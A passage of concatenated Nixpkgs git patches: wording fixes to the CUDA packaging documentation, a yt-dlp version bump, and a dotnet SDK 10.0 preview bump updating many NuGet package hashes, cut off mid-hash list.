+The `cudaCapabilities` configuration option specifies a list of CUDA capabilities. Packages may use this option to control device code generation to take advantage of architecture-specific functionality, speed up compile times by producing less device code, or slim package closures. For example, you can build for Ada Lovelace GPUs with `cudaCapabilities = [ "8.9" ];`. If `cudaCapabilities` is not provided, the default value is calculated per-package set, derived from a list of GPUs supported by that CUDA version. Please consult [supported GPUs](https://en.wikipedia.org/wiki/CUDA#GPUs_supported) for specific cards. Library maintainers should consult [NVCC Docs](https://docs.nvidia.com/cuda/cuda-compiler-driver-nvcc/) and its release notes.
 
 ::: {.caution}
-Certain CUDA capabilities are not targeted by default, including capabilities belonging to the Jetson family of devices (like `8.7`, which corresponds to the Jetson Orin) or non-baseline feature-sets (like `9.0a`, which corresponds to the Hopper exclusive feature set). If you need to target these capabilities, you must explicitly set `cudaCapabilities` to include them.
+Certain CUDA capabilities are not targeted by default, including capabilities belonging to the Jetson family of devices (e.g. `8.7`, which corresponds to the Jetson Orin) or non-baseline feature-sets (e.g. `9.0a`, which corresponds to the Hopper exclusive feature set). If you need to target these capabilities, you must explicitly set `cudaCapabilities` to include them.
 :::
 
 The `cudaForwardCompat` boolean configuration option determines whether PTX support for future hardware is enabled.
 
 ### Modifying CUDA package sets {#cuda-modifying-cuda-package-sets}
 
-CUDA package sets are created by `callPackage`-ing `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point defined outside the CUDA package sets.
+CUDA package sets are created by using `callPackage` on `pkgs/top-level/cuda-packages.nix` with an explicit argument for `cudaMajorMinorVersion`, a string of the form `"<major>.<minor>"` (e.g., `"12.2"`), which informs the CUDA package set tooling which version of CUDA to use. The majority of the CUDA package set tooling is available through the top-level attribute set `_cuda`, a fixed-point defined outside the CUDA package sets.
 
 ::: {.caution}
 The `cudaMajorMinorVersion` and `_cuda` attributes are not part of the CUDA package set fixed-point, but are instead provided by `callPackage` from the top-level in the construction of the package set. As such, they must be modified via the package set's `override` attribute.
@@ -77,7 +77,7 @@ As indicated by the underscore prefix, `_cuda` is an implementation detail and n
 The `_cuda` attribute set fixed-point should be modified through its `extend` attribute.
 :::
 
-The `_cuda.fixups` attribute set is a mapping from package name (`pname`) to a `callPackage`-able expression which will be provided to `overrideAttrs` on the result of our generic builder.
+The `_cuda.fixups` attribute set is a mapping from package name (`pname`) to a `callPackage`-compatible expression which will be provided to `overrideAttrs` on the result of our generic builder.
 
 ::: {.caution}
 Fixups are chosen from `_cuda.fixups` by `pname`. As a result, packages with multiple versions (e.g., `cudnn`, `cudnn_8_9`, etc.) all share a single fixup function (i.e., `_cuda.fixups.cudnn`, which is `pkgs/development/cuda-modules/fixups/cudnn.nix`).
@@ -101,9 +101,9 @@ final: prev: {
 
 ### Extending CUDA package sets {#cuda-extending-cuda-package-sets}
 
-CUDA package sets are scopes, so they provide the usual `overrideScope` attribute for overriding package attributes (see the note about `cudaMajorMinorVersion` and `_cuda` in [Configuring CUDA package sets](#cuda-modifying-cuda-package-sets)).
+CUDA package sets are scopes and provide the usual `overrideScope` attribute for overriding package attributes (see the note about `cudaMajorMinorVersion` and `_cuda` in [Configuring CUDA package sets](#cuda-modifying-cuda-package-sets)).
 
-Inspired by `pythonPackagesExtensions`, the `_cuda.extensions` attribute is a list of extensions applied to every version of the CUDA package set, allowing modification of all versions of the CUDA package set without having to know what they are or find a way to enumerate and modify them explicitly. As an example, disabling `cuda_compat` across all CUDA package sets can be accomplished with this overlay:
+Inspired by `pythonPackagesExtensions`, the `_cuda.extensions` attribute is a list of extensions applied to every version of the CUDA package set, allowing modification of all versions of the CUDA package set without needing to know their names or explicitly enumerate and modify them. As an example, disabling `cuda_compat` across all CUDA package sets can be accomplished with this overlay:
 
 ```nix
 final: prev: {
@@ -132,7 +132,7 @@ To use one or more CUDA packages in an expression, give the expression a `cudaPa
 <package-expression>
 ```
 
-In your package's derivation arguments, it is _strongly_ recommended the following are set:
+In your package's derivation arguments, it is _strongly_ recommended that the following are set:
 
 ```nix
 {
@@ -152,12 +152,12 @@ When using `callPackage`, you can choose to pass in a different variant, e.g. wh
 ```
 
 ::: {.caution}
-Overriding the CUDA package set used by a package may cause inconsistencies, since the override affects niether the direct nor transitive dependencies of the package. As a result, it is easy to end up with a package which uses a different CUDA package set than its dependencies. If at all possible, it is recommended to change the default CUDA package set globally, to ensure a consistent environment.
+Overriding the CUDA package set for a package may cause inconsistencies, because the override does not affect its direct or transitive dependencies. As a result, it is easy to end up with a package that use a different CUDA package set than its dependencies. If possible, it is recommended that you change the default CUDA package set globally, to ensure a consistent environment.
 :::
 
 ### Nixpkgs CUDA variants {#cuda-nixpkgs-cuda-variants}
 
-Nixpkgs CUDA variants are provided primarily for the convenience of selecting CUDA-enabled packages by attribute path. As an example, the `pkgsForCudaArch` collection of CUDA Nixpkgs variants allows one to access an instantiation of OpenCV with CUDA support for an Ada Lovelace GPU with the attribute path `pkgsForCudaArch.sm_89.opencv`, without needing to modify the `config` provided when importing Nixpkgs.
+Nixpkgs CUDA variants are provided primarily for the convenience of selecting CUDA-enabled packages by attribute path. As an example, the `pkgsForCudaArch` collection of CUDA Nixpkgs variants allows you to access an instantiation of OpenCV with CUDA support for an Ada Lovelace GPU with the attribute path `pkgsForCudaArch.sm_89.opencv`, without needing to modify the `config` provided when importing Nixpkgs.
 
 ::: {.caution}
 Nixpkgs variants are not free: they require re-evaluating Nixpkgs. Where possible, import Nixpkgs once, with the desired configuration.
@@ -165,7 +165,7 @@ Nixpkgs variants are not free: they require re-evaluating Nixpkgs. Where possibl
 
 #### Using `cudaPackages.pkgs` {#cuda-using-cudapackages-pkgs}
 
-Each CUDA package set has a `pkgs` attribute, which is a variant of Nixpkgs where the enclosing CUDA package set is made the default CUDA package set. This was done primarily to avoid package set leakage, wherein a member of a non-default CUDA package set has a (potentially transitive) dependency on a member of the default CUDA package set.
+Each CUDA package set has a `pkgs` attribute, which is a variant of Nixpkgs in which the enclosing CUDA package set becomes the default. This was done primarily to avoid package set leakage, wherein a member of a non-default CUDA package set has a (potentially transitive) dependency on a member of the default CUDA package set.
 
 ::: {.note}
 Package set leakage is a common problem in Nixpkgs and is not limited to CUDA package sets.
@@ -175,7 +175,7 @@ As an added benefit of `pkgs` being configured this way, building a package with
 
 #### Using `pkgsCuda` {#cuda-using-pkgscuda}
 
-The `pkgsCuda` attribute set is a variant of Nixpkgs configured with `cudaSupport = true;` and `rocmSupport = false`. It is a convenient way access a variant of Nixpkgs configured with the default set of CUDA capabilities.
+The `pkgsCuda` attribute set is a variant of Nixpkgs configured with `cudaSupport = true;` and `rocmSupport = false`. It is a convenient way to access a variant of Nixpkgs configured with the default set of CUDA capabilities.
 
 #### Using `pkgsForCudaArch` {#cuda-using-pkgsforcudaarch}
 
@@ -196,7 +196,7 @@ In `pkgsForCudaArch`, the `cudaForwardCompat` option is set to `false` because e
 ::: {.caution}
 Not every version of CUDA supports every architecture!
 
-To illustrate: support for Blackwell (e.g., `sm_100`) was only added in CUDA 12.8. Assume our Nixpkgs' default CUDA package set is to CUDA 12.6. Then the Nixpkgs variant available through `pkgsForCudaArch.sm_100` is useless, since packages like `pkgsForCudaArch.sm_100.opencv` and `pkgsForCudaArch.sm_100.python3Packages.torch` will try to generate code for `sm_100`, an architecture unknown to CUDA 12.6. In such a case, you should use `pkgsForCudaArch.sm_100.cudaPackages_12_8.pkgs` instead (see [Using cudaPackages.pkgs](#cuda-using-cudapackages-pkgs) for more details).
+To illustrate: support for Blackwell (e.g., `sm_100`) was added in CUDA 12.8. Assume our Nixpkgs' default CUDA package set is to CUDA 12.6. Then the Nixpkgs variant available through `pkgsForCudaArch.sm_100` is useless, since packages like `pkgsForCudaArch.sm_100.opencv` and `pkgsForCudaArch.sm_100.python3Packages.torch` will try to generate code for `sm_100`, an architecture unknown to CUDA 12.6. In that case, you should use `pkgsForCudaArch.sm_100.cudaPackages_12_8.pkgs` instead (see [Using cudaPackages.pkgs](#cuda-using-cudapackages-pkgs) for more details).
 :::
 
 The `pkgsForCudaArch` attribute set makes it possible to access packages built for a specific architecture without needing to manually call `pkgs.extend` and supply a new `config`. As an example, `pkgsForCudaArch.sm_89.python3Packages.torch` provides PyTorch built for Ada Lovelace GPUs.

From 06da22a9fef0cff76703f7ccaefca121d0d5481c Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Tue, 22 Jul 2025 11:12:52 +0200
Subject: [PATCH 2763/4511] yt-dlp: 2025.06.30 -> 2025.07.21

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.07.21
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.06.30...2025.07.21
(cherry picked from commit 7ae0b304f9bba689b8b5ecdc3ef1d3321b6c9bfa)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 92aaee8f2633..f1264b22cf1f 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,14 +19,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.06.30";
+  version = "2025.07.21";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-dwBe6oXh7G67kfiI6BqiC0ZHzleR7QlfMiTVXWYW85I=";
+    hash = "sha256-VNUkCdrzbOwD+iD9BZUQFJlWXRc0tWJAvLnVKNZNPhQ=";
   };
 
   build-system = with python3Packages; [ hatchling ];

From 9d35cf8a0336c96ef7fb4e8445bef1dd951f39f9 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 18 Jul 2025 12:13:29 +0000
Subject: [PATCH 2764/4511] dotnetCorePackages.sdk_10_0-bin:
 10.0.100-preview.5.25277.114 -> 10.0.100-preview.6.25358.103

(cherry picked from commit afe53a323fa2486ca6dbc81d7125f82b74cb2729)
---
 .../compilers/dotnet/versions/10.0.nix        | 376 +++++++++---------
 1 file changed, 188 insertions(+), 188 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/10.0.nix b/pkgs/development/compilers/dotnet/versions/10.0.nix
index c1fd4ffbfe38..3b43dd48e172 100644
--- a/pkgs/development/compilers/dotnet/versions/10.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/10.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-s4HlvPy1QuJKFkv5YvtRhYyOBiOm+OHD1RDnOdQCrpxCVbBEguF5jv4Ad4GX/cEqW+HB8hSt0Z0b8+rHu5Ki+A==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-DF9lEJjcAAcQtFB9hLXHbQaLW82nb4xlG9MKfbqpZzIQfidqcAuE2GOug/q6NNDcw+N88J0p0jKPz+k3qKmAKw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-CpTBajurwDJBqGksHOWwf/deFNhBj5mooR8mkK1hpKexMR20KuprblkuCxHEzdf99F4pvOY3cpi1jpE+jkhqGg==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-SV9nyI2/sg7Rh3f01eDScmjKYuuzI6xPX+iknl2zsecspqYBlWcPN1SvMDlaD/sK3GG5jl3hrM/GcOIqMpoFJA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-MYy3h/RxwEKD5fKfyW8xb+qiYAdvXmIh4HCxXpiCII04SvWH6myXrF+IsdoAdtIFdNnf/MWe6zbaUi1lwh5MEA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-npMO7GioGKn0FigriTOCsi4HgSENnW9YRJYXhyFtCGLR7b71FDLVY8nHemM0XYm9lI0tH23N1EwcDFyzHTDuNA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-IveQf1NcMPHPWL4JWlmhjE3Zuh6Z4EH+1vJGbT+WP1TwxGLiek/ejwS1PovGP8rYfkOEWT9LRAE+cHjT849mTA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-zDr+tWvnlB9iEwnAlfa3PW/S1/0nw1lhvXBWghgE6o9O5sxc35V3aobPAs+Cm6DTN+lvNMouhjPt6pn2t4PvQQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.5.25277.114";
-      hash = "sha512-/R/whqQSpMH1QImsjt7uq2ALWe9foCob6gVheTqF+Fnwu0LmFZbcAmiB+oEyCt8hJwmS7i/YVg8Gwod5VzdPIA==";
+      version = "10.0.0-preview.6.25358.103";
+      hash = "sha512-W1yNC4+7vV1XPSXJx7HFsvFCi1C1XZ7QVlfbu+xq4pt1/0cVJGZaRlbwBNUAv4PAdg2JGM4VYtcr3ZreOJ1hzA==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5ESzKgrodn+sAQSmMLOxeS7mJWm8BA363aPG91+k/35/Ah/txahPPCc4omRWDMmEutK7fCY8c7zgS7tGlf7McA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IKe0SROzAWJiFZyh2KVmTU5i8ddcEqvr5NIr+3RfzvBEYa3SNBbqy1W1x0TR2aEvYgSqxKSohhs9YVSDlrlx0Q==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-qEaKvjfg4dv1xhz/y60Y1n9dQNM5TLo+S5ncuwnZTrUVAxlXBtq9IYqZJ3phynbt5zKPgyqk3P4AUQ9yq+Os4w==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-5h33Uf2vFcjVkeNRD41YiERegQ7twv6sljYAMtz/kIHcIk90aB0ztZoKXXVi+vNxma7q/f5oPxhzUVidZ3vw8g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-FuN+WXR/OVGTxucPJranVRmxbYdZgGLorua2fl1H8tDXrgnFJ1r1gmUS5nDVG4+6zlbAohUtCmg+CLl2cJZshA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-yImkb4fnUJIXR2Me5N8eOrX7w9+u8SAAIp8QtlWdZ6WptjG6PUByTs2hjTfX/aVKjO4p1dmKTaWJ0qYR6yuDEQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-zFwwL03ZGoCFoSBMIm5JxwDqHoEFwqWQY/70z8L708keOulasLQaZzNo+0Aj17LRbO9ai1f0NraNwgkQipBw3A==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-1FIBZLtWKIxULrRjLrldz6kwVSoAIf72kXKE0WgXECVez98NbQXLEM90hfpHj0LcQfzqOoP9kY48yRSoXp+rXg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Z3yH1oMeEi7bfULV1vsJUmhJV7sGFe3j4sTdcQ2Iqot2KnNq54uUDkHigPRSi0PQ0p2tOnK4idVTDntITm4DWw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-eMokXhxbTVJUHwlAhM1dVZmjljs/s1nRfvrJ0AeJaTbetXnD63Fd6sQeMmw/EifYnpdtxr/gIJRHLPsuLNDcAA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-50+U03mBEDtKgzzQus6e/b9SPeY5hSTrm4k8Jk0AyiKzU30UL7sjgQzfRGGvNEKEEScDg86nqeJ4Ox3A8Splqg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-qw5Xb2+l14q+2OSesjwGn3gHpdFj0wUeA3RLEUaljzW8FF5HD78B6t1YuhFJhcENuDNAv5d8Fcy4N1mG/RQZUw==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-FOGUGW5RSoxkBLjiVP2Rq6yIrODbDFF822fAySFR0Sb7Wl5zFa2DBrzobjjpPX5kxGO5g/KDpvvhzc5ER6NSVA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Etq6qbPIzEV8Z3+w0C1ibreDduKkAF1zZOGfvcBz3sjAC9sWs/qflxfKGZ7tBKhEV/A3vZWKNGyxYKnawCtC3g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-B/YcJ/Owoamyww7r2MsTI2cSWTmADFiUAH+JLXo2gJKx29W1FHo9/AJkzhj4hPbTOjcxXZXgnpdAv1wpVAsgRw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-SINZNHzxrKbgD7VGAx9GDMIlMOmXSpqWIeLpmNpPTm2D7F+NfXv2lVLxLl0nLUAJ70ipI51HdHGyrKXTOaFO8g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-EWGjha2ABrQ5dc80NPXI3wqMBwTbV57Yd8+vhtG9+TUkdaPIm7Ih9tiEskTdw4bbvRi4WJaPMlkaw7t1bUcO4g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-t2YTlMAHq+V8K8TnsFhUudCqiV5CElb/dk2tFmZ61Td4gyLY/iz+4q5lvpGAZOlCFddTtublSbIC3n4EH3liEQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4KsNQ8Qd5WwJGSeRM8oIUUc0xlFJ4Sijfmyi+jCHGPKs8NsBOeojdSyg36ROBeDZ1pJVkplLqQJkl4/QMk+6Ag==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-lEaH55DO++s5EKEHfODZkF279HI5DROQgaTif93wcMg9mhL5kPHnLhi9S7qTMFKt+GQfmZWMlwZd+L6GVz+RVQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-t2fI/fmsogh6D2d0Y8QDBvvubtSNxfCuwoY0zHO2Kq80VflvC9AnC8JGEBjiGH7UDf57sVDzZkBkFcB6zIYEpw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zuh5p3Hq0ejcgbCe3IaVOj+mItbRve25QdIXaGirOfDuO2a5fGXSO8RtgFosw8ar2jBSG3qL6loMFqqgkiEuVA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-A8r/O6ncUS0OoLWuIO081xE77Im/EKQ3ath4DzqL27GBO7AqBYME8c0fEMxBn3ezqDKKgp7WoRjxmvyFrjjFUg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Ivl/uKKvVrgGxfbC8SSz5N1NZRi39PQ5ZXfsECiSsiNR2ls02Wy2Icy5mLRUGCFY4FMILAKsgfJRKejafqGxyA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4XoD65xIjjxalBaqZp+wGp2IGgbo3MVSs0cPV3LRuyuyci3TEZmyYj63ZbA7zJcjzXJXDhgjQVX14JPx195ZCw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zTiRlyK4ElT/MES3AX1bLRcuX3lY3NXlwL89YTyEjuHrqjCpxEbHfsoznqYd7zLAF1itzvNnxDkqDPoXat/zZA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-TP1b+02yPlLhvj16Hq2Fwn8Qxq+NXvLM0QxxIiFCa8RHijb9WmSRvzNwUp1HLxjArzgbvCDlTmwlMsh2LbwSvg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-sSi6F1x2UVJe5Jp8RbURsNGVxFFPyxq6P8ZlV6r9dimYM2KkDyEOtcZ0hHSOtmMU3rghzZYksvSKv7+9fAYUNA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-DoHyLSBIYsD1mfbHnJDKi7PvqPOSd5ySoDeI2m0pv55Dx46CQdks14lIuusttk46bvBUFfp63KILpbmQzU1ovQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Qj4yn5t5k+lGY8dBPwh0jLQOXoilcVvwpmyxJp8LJHoOM8EmGjRoiCy68sRXGTQMt5d3iNIdV93rX+fXu20rlw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Kbdr7rNaKTP8XaMzevtG7RPH+UQ4IQQd6No7fzBN7/VStj1uPc4Y7OMxrDtnGZFbGo06IbTtPSAxcrWj6BE4hg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-b26YbRN+y0LrdVq32iV7gUmi8sY4vY+P8GvaqiPTcJBH20OSfrsvDhyM08qMs6hCDo17xL5hFdLt9BSBfqcrOw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-3ShS2dKWGFmMgI76TuN1kYWzDpumT9ToxNVxMJTt7I6t+vICEVbwWXZPi2cD7ZWHrzi3/tIgSVzzHNFazj13oQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IoNNvrZ/pKBwn/XSvDp1saM2XHk1ZOKxrA4lDyrL10/s4IS8hRo/Yv3qs+ihWpwVStORW3lh0YIxQhMDHbMkzw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-1U//TasFxoxn0VJjA/iPzzJDnQenarO74bvPMraRrQfGqR4t2AEZA1gLgV5Mz38LVB0irpvxdSPoEW4keNA0tw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-/D+xqMtDuo8ji4FPJm5EsEORBGEsbcHHYIjZDiEHP7ltIexg/oOSwuyvepvV+mK46Q4uyQU9zuBVZaG5FdKU0Q==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-KIydC5/Xl87tFKN6pESgrcGatj0zcf1bzgBjlx+qGr3vk90EHRV2yk67hLok5jzqlnbSBKrF7UwEau5Se0mMMQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kEXLQCzNVAnwkQ58qiO7lUOuO6WJSMlNmnQxx5o1RTiMIoqrgfjMazn5bpL5DPeZjMhWcB4kary/3Vkj06xRtA==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-sZMp5qkPDTK6VyqYT4a8sfGuFb5xkUo3aIaXDRjOAQznRmknxKycMQxV0pIxxFvVeyyBeqvxYslT2AhhL+EHAA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-z0RiU5O+4aelPS7+JYakKFXrmczOzTYp5sptrRoz8H2zM0Tbvwc7sX3pT2F5ZosBEaub37XJKrwSdvpdHoe6/w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-6Fblda7ZmvctHnrFBgbPI7ASkzBwA6PyENq/fBAKN9qXA1s3RcITpRE05IIiXWyWetC1069bbkZZ9IJ7fJGQpg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CRQl1RVkbfaLnYOEO4ApZ6Py1OG8zJjwU0UkAcIhg7MqsGgZcathISOzlDYayxqdbp+Gga21aaJJZbL0TSPkdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-/NjUBaHpFjAiugmZ9mX5R/v5nfey41rWao/msHOt8/0nafBqGiOxAL31bTZbcgMIIt62lOKKxjWpJ1FBbSiM9w==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-UjSZtTgg1EEmNJeI+Esg2pMNjSb+lCy0VjwkUIVUJA6vezRNsb66NjsO5h4rvSMS2VhoKWGc7jbNV1AKRj891g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-R8veKCL6tx0+Mf0dnLS1S0vy2VyaAHkOEnLpr0P1lGuafdGUH6U9soRORAmN4Yd1Li4M0o9CP11Izunq/iG3Pg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-h8mVEj/5JRPzKcDpoHvnQ0wt7nn7+euuPKLDtWH4yiAWztH8CX6udfHqjIE103USfpfMKEEcEWRqOe877rgp2Q==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-z4nJcFunBtPJgbSQO+pZHZpYVH/hnDWBJtSf5J7pVCKzRYm3mJb1N0DIx/2wB1HtVg0cvw5K1QIBeQdBv5aRxA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-rXmRirmXSlmvrc4lY76+eK6UoXIi78sUSDggleEYs6Mwip1PWWQ1bg2Bi3tpxcRgF1MBOgHhiz37lybWaS1y7A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-6HRNrz6RVTrD5XQuq35HhBE5qC3iBts30LwDZ27eICx3xSoe3cVX+cDKyaQenobOwMCS/trHB1AvfkTTMI//gg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-sw5cXyvNbbXyDkmnPJqNgSnOeDFdl9VL7OfA4kA2GcPCujXhnElVmF48rwibVtoYmDUe940zKPjUAeuXmmOH+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-TWpJ6I11YP653VrhYUiSQgI/mwCfk1t4ngl0DBGezsxuSsCW9SrVVsZaCoboAm2hKbGlgC620YQOCLUofZxaRQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-BYeSSlt4ck/kK7L9I+OYdI+aklnF9JDNaHyIQ+nea+E/e6qqENxlgDPzJKwTKAX4XdIF7Rc/Gk14PuYBpC7+Ew==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-I1h/tB0nh4CzOccmktX4KSZR9dNqYrqS1nZDs1ij889XtoIrYePtSnMasnxMfaeMp8vY7WCSKSWNPlynhOh15A==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-poxX0QwFAsVfHDfH85V0BVd5dEtlhr+/3rPhCe5qhkFscmUM31BcD1ABbzdxYt/PRJKnKMCCA/tOHhMU5rUieA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5+DdKKWt/JW373FJ6r5+vrQRhv6xRAyQXPeHdrAEAP/wlK9AnJE9pYuHfQI2Trwqklak5O1Ag5GrRin/7oBVaw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kPsplrPdJ9VmThmB0kXTumkVG0WikMbkSRzGVyNU/Ploa9Cvv80PnCxF5VBAqRV1l/l3qBq9TZQV+7c6mIef9Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
